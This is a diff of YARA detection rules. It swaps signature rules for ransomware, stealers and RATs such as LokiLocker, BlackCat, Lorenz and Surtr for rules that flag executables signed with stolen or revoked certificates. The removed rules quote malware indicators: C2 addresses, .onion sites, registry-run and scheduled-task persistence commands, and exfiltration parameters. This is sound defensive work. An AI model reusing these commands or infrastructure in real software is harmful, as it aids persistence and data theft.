-rule DITEKSHEN_MALWARE_Win_Lokilocker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_282A8A04073Eced658B9770Bda8C0D28 : FILE
 {
 	meta:
-		description = "Detects LokiLocker ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4f4927c5-79e6-5c5a-b84d-c4728affe9e1"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9187-L9212"
+		id = "d735ccfc-3f5e-5858-95ec-f385172ea8e6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8671-L8684"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bf78f5e8f40c1a19f6b078a85854e95d5ef1f321393a831edda17b0d65515da7"
+		logic_hash = "4cfebe55887a2a09293678e4dff2f93f22bec151dada7c84a41ac6deb10b7cc3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "SOFTWARE\\Loki" fullword wide
-		$x2 = "Cpriv.Loki" fullword wide
-		$x3 = "Loki/" wide
-		$x4 = /loki(\s)?locker/ fullword wide nocase
-		$s1 = "Restore-My-Files.txt" wide
-		$s2 = "loading encryption keys" wide
-		$s3 = "Kill switch -> enabled" wide
-		$s4 = "ScanSMBShares" fullword ascii
-		$s5 = "RewriteMBR" fullword ascii
-		$s6 = /Encrypt(Drives|File|WinVolume|OsDrive)/ fullword ascii
-		$n1 = "unique-id=" ascii wide
-		$n2 = "&disk-size=" ascii wide
-		$n3 = "&user=Darwin&cpu-name=" ascii wide
-		$n4 = "&ram-size=" ascii wide
-		$n5 = "&os-name=" ascii wide
-		$n6 = "&chat-id=" ascii wide
-		$n7 = "&msg-id=" ascii wide
-		$n8 = "&elapsed-time=" ascii wide
+		thumbprint = "5cd4832101eb4f173c43986d5711087c8de25e6fcaef2f333e98a013e29b8373"
+		reason = "RedLineStealer"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or 4 of ($s*) or 6 of ($n*) or (3 of ($s*) and 3 of ($n*)) or (1 of ($x*) and (2 of ($s*) or 2 of ($n*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Betamaynd" and pe.signatures[i].serial=="28:2a:8a:04:07:3e:ce:d6:58:b9:77:0b:da:8c:0d:28")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Osx_Dazzlespy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0C48732873Ac8Ccebaf8F0E1E8329Cec : FILE
 {
 	meta:
-		description = "Attemp at hunting for DazzleSpy"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "8c5f6605-13d2-578e-9e0b-6a8226991ac5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9214-L9228"
+		id = "dacde33d-3925-52c6-87fd-9f3ead6bfab0"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8686-L8699"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "61305384055f71d92ce2ac3d427a1b6f85ce21f502e759f3af952127b1413470"
-		score = 50
-		quality = 71
+		logic_hash = "64c61d1bb48d790a2a3da85c6e57b542f0ee8a85296fc3e8c17ea18d8241790d"
+		score = 75
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "/osxrk_commandline/" ascii wide nocase
-		$x2 = "/Users/wangping/pangu/" ascii wide nocase
-		$s1 = "heartbeat" ascii wide
-		$s2 = "scanFiles" ascii wide
-		$s3 = "restartCMD" ascii wide
-		$s4 = "downloadFile" ascii wide
-		$s5 = "RDPInfo" ascii wide
+		thumbprint = "14ffc96c8cc2ea2d732ed75c3093d20187a4c72d02654ff4520448ba7f8c7df6"
+		reason = "HermeticWiper"
+		importance = 20
 
 	condition:
-		uint16(0)==0xfacf and ( all of ($x*) or all of ($s*) or (1 of ($x*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Hermetica Digital Ltd" and pe.signatures[i].serial=="0c:48:73:28:73:ac:8c:ce:ba:f8:f0:e1:e8:32:9c:ec")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Bhunt : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Da20761Afbb0463C55B1Ea88Bbc7Ec57 : FILE
 {
 	meta:
-		description = "Detects BHunt infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4c699f10-64a0-5e3c-af00-e08ebe1c6830"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9230-L9251"
+		id = "63e4b8f6-64f1-58a2-920a-e1d4b113380b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8716-L8729"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ca0a7e6898047fa3b369125a4402e2beffd328a5db47b1d5dd5914a86d6f0073"
+		logic_hash = "a4f6bb9742ab40e8003ea14f9645f0c7f885b461fbeb01164b86ddacbda1113f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "BHUNT.Resources.resources" fullword ascii
-		$x2 = "//minecraftsquid.hopto.org/" wide
-		$s1 = "chaos_crew" ascii wide
-		$s2 = "golden7" ascii wide
-		$s3 = "mrpropper" ascii wide
-		$s4 = "/ifo.php?" ascii wide
-		$s5 = "bonanza=:=" ascii wide
-		$s6 = "blackjack=:=" ascii wide
-		$s7 = "SendPostData" fullword ascii
-		$c1 = "cmd /c REG ADD" wide
-		$c2 = "taskkill /F /IM" wide
-		$c3 = "cmd.exe /c wmic" wide
-		$g1 = "$ca9a291d-266c-41dc-9f1c-93cfe0dcac16" fullword ascii
-		$g2 = "$6d0feb35-213d-4b9f-afc7-06d168cfcb5e" fullword ascii
+		thumbprint = "f12dd6e77ffab75870b24dd5bfda5a360843f9e5591e764be9f0a2ac59a710d3"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and (5 of ($s*) or 2 of ($c*))) or (6 of ($s*) and 2 of ($c*)) or ( all of ($g*) and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CLEVER CLOSE s.r.o." and pe.signatures[i].serial=="da:20:76:1a:fb:b0:46:3c:55:b1:ea:88:bb:c7:ec:57")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Lorenz : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C51F4Cf4D82Bc920421E1Ad93E39D490 : FILE
 {
 	meta:
-		description = "Detects Lorenz ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "9c11cfbc-aa77-5138-81e4-3a5f4f21a470"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9253-L9283"
+		id = "cbb6cb90-b0f0-5271-81ae-8639c28a5df1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8731-L8744"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e9fc9d405b955c379ae40b1804d43b19999f6ea264fc645c897080fb020e8ae8"
+		logic_hash = "b9152998eb3c4ba2b6e7571ed03c63ae1ade2f922df6901f8e46b08f41474f7b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "143.198.117.43" fullword ascii
-		$x2 = "157.90.147.28" fullword ascii
-		$x3 = "//kpb3ss3vwvfejd4g3gvpvqo6ad7nnmvcqoik4mxt2376yu2adlg5fwyd.onion" ascii
-		$x4 = "http://lorenz" ascii
-		$x5 = "\\lora\\Release\\lora.pdb" ascii
-		$x6 = "--MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ" ascii
-		$x7 = "/USER:'HOMEOFFICE.COM\\" ascii
-		$x8 = "/USER:'Sentinel.com\\" ascii
-		$s1 = "to->_What == nullptr && to->_DoFree == false" fullword wide
-		$s2 = "*it == '\\0'" fullword wide
-		$s3 = "process call create 'cmd.exe /c" ascii
-		$s4 = "\\Control Panel\\Desktop\" /V Wallpaper /T REG_SZ /F /D" ascii
-		$s5 = "HELP_SECURITY_EVENT.html" ascii
-		$s6 = "<br>[+] Whats Happen?" ascii
-		$s7 = /\.Lorenz\.sz\d+$/ fullword ascii
-		$s8 = "TW9Vc29Db3JlV29ya2VyLmV4ZQ==" fullword ascii
-		$s9 = ".Speak(\"You've been hack" ascii nocase
-		$s10 = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAo" ascii
-		$n1 = "ame_serv=" ascii
-		$n2 = "&ip=" ascii
-		$n3 = "&winver=Windows" ascii
-		$n4 = "&list_drive=" ascii
-		$n5 = "&file=" ascii
+		thumbprint = "d17dc7ef018e13b9a482b60871e25447fb1ae724dfe69b5287dce6b9b78d84a9"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or 8 of ($s*) or (4 of ($n*) and 2 of them ) or (1 of ($x*) and 6 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CUT AHEAD LTD" and pe.signatures[i].serial=="c5:1f:4c:f4:d8:2b:c9:20:42:1e:1a:d9:3e:39:d4:90")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Blackcat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_69A72F5591Ad78A0825Fbb9402Ab9543 : FILE
 {
 	meta:
-		description = "Detects BlackCat ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b6831d84-40d7-52ae-8c4d-30b087b0007b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9285-L9307"
+		id = "a30ca6aa-3bf4-5fa2-8297-7b983410e5d4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8746-L8759"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cd76e5b87f33d91c17fd032417583c3f68d0e310aaf6f08e26ec5d53844ed9d2"
+		logic_hash = "b2a8c08a612f7352a159a9d3f7d9152d9de043db1ec69e4bb2493533453f8f5c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "{\"config_id\":\"\",\"public_key\":\"MIIBIjANBgkqhkiG9w0BAQEFAAO" ascii
-		$x2 = "C:\\Users\\Public\\All Usersdeploy_note_and_image_for_all_users=" fullword ascii
-		$s1 = "encrypt_app::windows" ascii
-		$s2 = /locker::core::os::windows::(desktop_note|self_propagation|privilege_escalation|psexec|shadow_copy)/ ascii
-		$s3 = "uac_bypass::shell_exec=" ascii
-		$s4 = "-u-p-s-d-f-cpropagate::attempt=" ascii
-		$s5 = "masquerade_peb" ascii
-		$s6 = "RECOVER-${EXTENSION}-FILES.txt" ascii
-		$s7 = ".onion/?access-key=${ACCESS_KEY}" ascii
-		$s8 = "-vm-killno-vm-snapshot-killno-vm-kill-" ascii
-		$s9 = "esxi_vm_killenable_esxi_vm_snapshot_killstrict_" ascii
-		$s10 = /enum_(shares|servers)_sync::ok/ fullword ascii
-		$s11 = "hidden_partitions::mount_all::mounting=" ascii
+		thumbprint = "42a6612f4c652b521435989b5f044403649fef6db4fb476f3c4d981dc2f9bdf8"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f) and ( all of ($x*) or 5 of ($s*) or (1 of ($x*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PUSH BANK LIMITED" and pe.signatures[i].serial=="69:a7:2f:55:91:ad:78:a0:82:5f:bb:94:02:ab:95:43")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Koxic : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_8Cece6Df54Cf6Ad63596546D77Ba3581 : FILE
 {
 	meta:
-		description = "Detects Koxic ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6a82bf44-b155-5746-b798-20a13623a14a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9309-L9327"
+		id = "c5c19072-5a2f-5851-83bf-25a9e2fd9033"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8761-L8774"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d874c8ebf330814e52d159cbf71f8bc05ebeb4a9fb93d96c3f861b51e57925a3"
+		logic_hash = "1980b3ef7df1bfa43d401fdd8393cb8ffb5c919d558c23314ffb9e823cf9590d"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
+		thumbprint = "1a9ff8aba1b24e3bd06442ac6d593ff224b685cba4edef79e740f569ab453161"
+		reason = "Malware"
+		importance = 20
 
-	strings:
-		$c1 = " INFO: >> %TEMP%\\" ascii wide
-		$c2 = "cmd /c \"wmic" ascii wide
-		$c3 = "cmd /c \"echo" ascii wide
-		$c4 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"%s\"" fullword wide
-		$c5 = /sc config.{1,30}start=disabled/ fullword ascii wide
-		$s1 = "Container: %s" fullword wide
-		$s2 = "Shotcut dir : %s" fullword wide
-		$s3 = "\\Microsoft\\Windows\\Network Shortcuts\\" fullword wide
-		$s4 = "Thread %d started." fullword ascii
-		$s5 = "ADD our TOXID:" wide
-		$s6 = "[Recommended] Using an email" wide
+	condition:
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Mikael LLC" and pe.signatures[i].serial=="8c:ec:e6:df:54:cf:6a:d6:35:96:54:6d:77:ba:35:81")
+}
+import "pe"
+
+rule DITEKSHEN_INDICATOR_KB_CERT_Db95B22362D46A73C39E0Ac924883C5B : FILE
+{
+	meta:
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "df60473d-da8a-59c1-84d1-717d52d2411d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8776-L8789"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "29015f6e11f2c93cc12e39cf50a1bda3bd4aa0bb7df0d7374223031361067495"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		thumbprint = "751a7e6c4dbe6e7ca633b91515c9f620bff6314ce09969a3af26d18945dc43b5"
+		reason = "Smoke Loader"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((4 of ($s*) and 1 of ($c*)) or (2 of ($s*) and (#c1>5 or #c2>5 or #c3>5 or #c5>5)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SPSLTD PLYMOUTH LTD" and pe.signatures[i].serial=="db:95:b2:23:62:d4:6a:73:c3:9e:0a:c9:24:88:3c:5b")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Timetime : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_D3Aee8Abb9948844A3Ac1C04Cc7E6Bdf : FILE
 {
 	meta:
-		description = "Detects TimeTime ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4d6a31b5-b5a5-58e2-bfce-c40c72cda391"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9329-L9345"
+		id = "8b17b23f-3296-55b2-8e7b-40e13a14a610"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8791-L8804"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c75ca595ff25f8c79bfe8e5c6af29349be8f07c2de79fd24f09b02afffb7168b"
+		logic_hash = "9af0b27e96575298a31b53f6f88cdb20934db75637abdd0acb40bb3c6921542c"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		thumbprint = "e386450257e170981513b7001a82fb029f0931e5c2f11c6d9b86660da0b89a66"
+		reason = "Quakbot"
+		importance = 20
 
-	strings:
-		$s1 = "@_DECRYPTOR_@" ascii wide
-		$s2 = "@__RECOVER_YOUR_FILES__@" wide
-		$s3 = "\\TimeTime.pdb" ascii
-		$s4 = "runCommand" fullword ascii
-		$s5 = "decryptor_file_name" fullword ascii
-		$s6 = "encryption_hiding_process" fullword ascii
-		$s7 = "admin_hiding_process" fullword ascii
-		$s8 = "security_vaccine" fullword ascii
-		$s9 = "EncrFiles_Load" fullword ascii
+	condition:
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HOUSE 9A s.r.o" and pe.signatures[i].serial=="d3:ae:e8:ab:b9:94:88:44:a3:ac:1c:04:cc:7e:6b:df")
+}
+import "pe"
+
+rule DITEKSHEN_INDICATOR_KB_CERT_6000F8C02B0A15B1E53B8399845Faddf : FILE
+{
+	meta:
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "6d4224bd-1522-5b0f-b39e-1ba4ec0f1a63"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8806-L8819"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a8687b2aa02909af5fc7c706f31c419c4af48225abe7415bf262de57bb85258f"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		thumbprint = "6f18caa7cd75582d3a311dcc2dadec2ed32e15261c1dc5c9471e213d28367362"
+		reason = "Amadey"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SAY LIMITED" and pe.signatures[i].serial=="60:00:f8:c0:2b:0a:15:b1:e5:3b:83:99:84:5f:ad:df")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Strifewater : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_F6Ad45188E5566Aa317Be23B4B8B2C2F : FILE
 {
 	meta:
-		description = "Detects StrifeWater RAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "69f0bd07-3e4e-5245-9c42-c3f8199b566e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9347-L9372"
+		id = "d4afb6ed-1cfd-5c49-8959-0cf136d0e9f0"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8821-L8834"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ddb189dfe58af08d2c0682239551a5b9d82db94eedcefc02895316bcbbaca3f2"
+		logic_hash = "7afafea141727e2ed4c1975a18aa77b282c7d9ece5729dbd96cbb49cc2b393f1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "example/1.0" fullword wide
-		$s2 = "coname:" fullword ascii
-		$s3 = "*elev:" fullword ascii
-		$s4 = "*uname:" fullword ascii
-		$s5 = "--BoundrySign" ascii
-		$s6 = "000000c:\\users\\public\\libraries\\tmp.bi" ascii
-		$s7 = "9c4arSBr32g6IOni" fullword ascii
-		$pdb = "\\win8\\Desktop\\ishdar_win8\\" ascii
-		$xn1 = "techzenspace.com" fullword wide
-		$xn2 = "87.120.8.210" wide
-		$xn3 = "192.168.40.27" wide
-		$n1 = /RVP\/index\d+\.php/ fullword wide
-		$n2 = "tid=%d&code=%s&fname=%s&apiData=%s" fullword ascii
-		$n3 = "code=%s&tid=%d&fname=%s&apiData=%s" fullword ascii
-		$n4 = "Content-Disposition: form-data; name=\"token\"" fullword ascii
-		$n5 = "Content-Disposition: form-data; name=\"apiData\"" fullword ascii
-		$n6 = "Content-Disposition: form-data; name=\"data\"; filename=\"" fullword ascii
-		$n7 = "Content-Disposition: form-data; name=\"tid\"" fullword ascii
+		thumbprint = "ae7db8b64e8abd9d36876f049b9770d90c0868d7fe1a2d37cf327df69fa2dbfe"
+		reason = "Numando"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($xn*) or 6 of ($s*) or 6 of ($n*) or (1 of ($xn*) and 4 of them ) or ($pdb and 4 of them ) or (3 of ($s*) and 3 of ($n*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Gary Kramlich" and pe.signatures[i].serial=="f6:ad:45:18:8e:55:66:aa:31:7b:e2:3b:4b:8b:2c:2f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Surtr : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_74Fc9257Bc86F8C618501695Ad4B1606 : FILE
 {
 	meta:
-		description = "Detects Surtr ransomware. Ransom note is similar to LockFile"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7a31415d-5c03-5537-9adb-65e637f9fa0e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9374-L9396"
+		id = "c0ed5369-ca51-50b8-941a-580262b4f644"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8836-L8849"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a8db5588079d471d8904f0444973973a0c01dbec1ccbe3d43a34d41a0dde495d"
+		logic_hash = "d6a9956d8bcc717186c205d07b94df1df4818bee58f98bdc128ec569331ab5e6"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "<title>SurtrRansomware</title>" ascii
-		$s2 = "<HTA:APPLICATION ID=\"SurtrRansomware\"" ascii
-		$s3 = "APPLICATIONNAME=\"SurtrRansomware\"" ascii
-		$s4 = "src=\"data:image/jpeg; base64,/9j/4AAQSkZJRgABAQEAYABgAAD/2wCEAAgICAgJCAkKCgkNDgwODRMREBARExwUFhQWFBwrGx8bGx8bKyYuJSMlLiZENS8v" ascii
-		$s5 = "4rbgxisigb4pxnloxzc265rmzaj7fslrhyouegtrph2a7xhh55r6xaid.onion" ascii
-		$s6 = "schtasks /CREATE /SC ONLOGON /TN svchos" wide
-		$s7 = "reg add HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v \"svchos" ascii
-		$s8 = "reg add HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\ /v \"svchos" ascii
-		$s9 = "SURTR_README.txt" wide
-		$s10 = "surtr-decrypt.top" ascii
-		$s11 = /(Public|Private|ID)_DATA\.surt/ wide
+		thumbprint = "8ebbb2ab8f2e1366d0137e5026e07fde229f45f39d043c7ad36091b8eb2a923e"
+		reason = "ParallaxRAT"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "169Teaco Limited" and pe.signatures[i].serial=="74:fc:92:57:bc:86:f8:c6:18:50:16:95:ad:4b:16:06")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Udprat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3B0914E2982Be8980Aa23F49848555E5 : FILE
 {
 	meta:
-		description = "Detects UDPRat"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "938fc9fd-4f08-5c23-8583-06083d2efe59"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9398-L9413"
+		id = "bda3e8b2-5d1b-5898-a4c3-318fc88506b8"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8851-L8864"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4606b304d179148c6e44a0a8329675f2823f862a0944284cb646e5910659ea7c"
+		logic_hash = "b1ced5176720e0a3bd475172a167675de8211987fbae11b93eab1fba6b3629f5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\code\\UDP\\Client\\" ascii
-		$s2 = "ssdp:discover" ascii
-		$s3 = ": Device:" ascii
-		$s4 = "for the SNMP U encountered" ascii
-		$s5 = "privat:InternetGatewayelink" fullword ascii
-		$s6 = "schemas A jet error was" ascii
-		$s7 = "msidentity" fullword ascii
-		$s8 = "microsoftonliser-based Securi" ascii
+		thumbprint = "254e59ea93fa5f2a6af44f9631660f7b6cca4b4c9f97046405bcfed5589a32fa"
+		reason = "ParallaxRAT"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Office Rat s.r.o." and pe.signatures[i].serial=="3b:09:14:e2:98:2b:e8:98:0a:a2:3f:49:84:85:55:e5")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Jesterstealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_029Bf7E1Cb09Fe277564Bd27C267De5A : FILE
 {
 	meta:
-		description = "Detects JesterStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7b07061f-97a4-5158-8084-46ccf212f6be"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
